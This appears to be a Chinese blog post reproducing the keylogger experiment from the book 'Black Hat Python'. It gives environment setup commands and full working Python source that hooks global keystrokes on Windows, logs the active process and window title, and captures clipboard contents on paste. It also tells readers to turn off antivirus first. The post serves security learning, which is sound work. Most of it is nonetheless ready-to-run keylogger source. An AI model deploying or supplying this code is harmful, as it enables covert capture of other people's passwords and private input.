近期收到了電子工業出版社贈送的一本網絡安全書籍《python黑帽子》,書中一共24個實驗,今天復現第19個實驗( 鍵盤記錄),我的測試環境是windows虛擬機+conda開發環境+python3.7。這個實驗非常有趣,在windows環境下,可以記錄不同進程下鍵盤的記錄,比如我在notepad記事本上敲下“您好”,程序運行就會得到“ninhao”這樣的拼音,這種程序一般會被殺毒軟件攔截,因此做實驗之前請關閉殺毒軟件~
這裡實驗環境選擇 python3.7,這樣幾乎不用改代碼,否則代碼可能有不兼容的地方,需要自己手動修改~
conda create -n py3.7hack python=3.7
conda activate py3.7hack
# conda install -c conda-forge pywinhook (python3.6環境)
pip install pyWinhook
實驗演示結果如下:
參考代碼:
# -*- coding: utf-8 -*-
# @Time : 2022/6/24 8:17 PM
# @Author : ailx10
# @File : keylogger.py
from ctypes import byref,create_string_buffer,c_ulong,windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
TIMEOUT = 10
class KeyLogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = f"{pid.value}"
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400|0x10,False,pid)
windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd,byref(window_title),512)
try:
self.current_window = window_title.value.decode('unicode_escape')
except UnicodeDecodeError as e:
print(f"{e}:window name unknow")
print("\n",process_id,executable.value.decode('unicode_escape'),self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def mykeystore(self,event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii),end="")
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f"[PASTE] - {value}")
else:
print(f"{event.Key}")
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
k1 = KeyLogger()
hm = pyHook.HookManager()
hm.KeyDown = k1.mykeystore
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == "__main__":
print(run())
print("done.")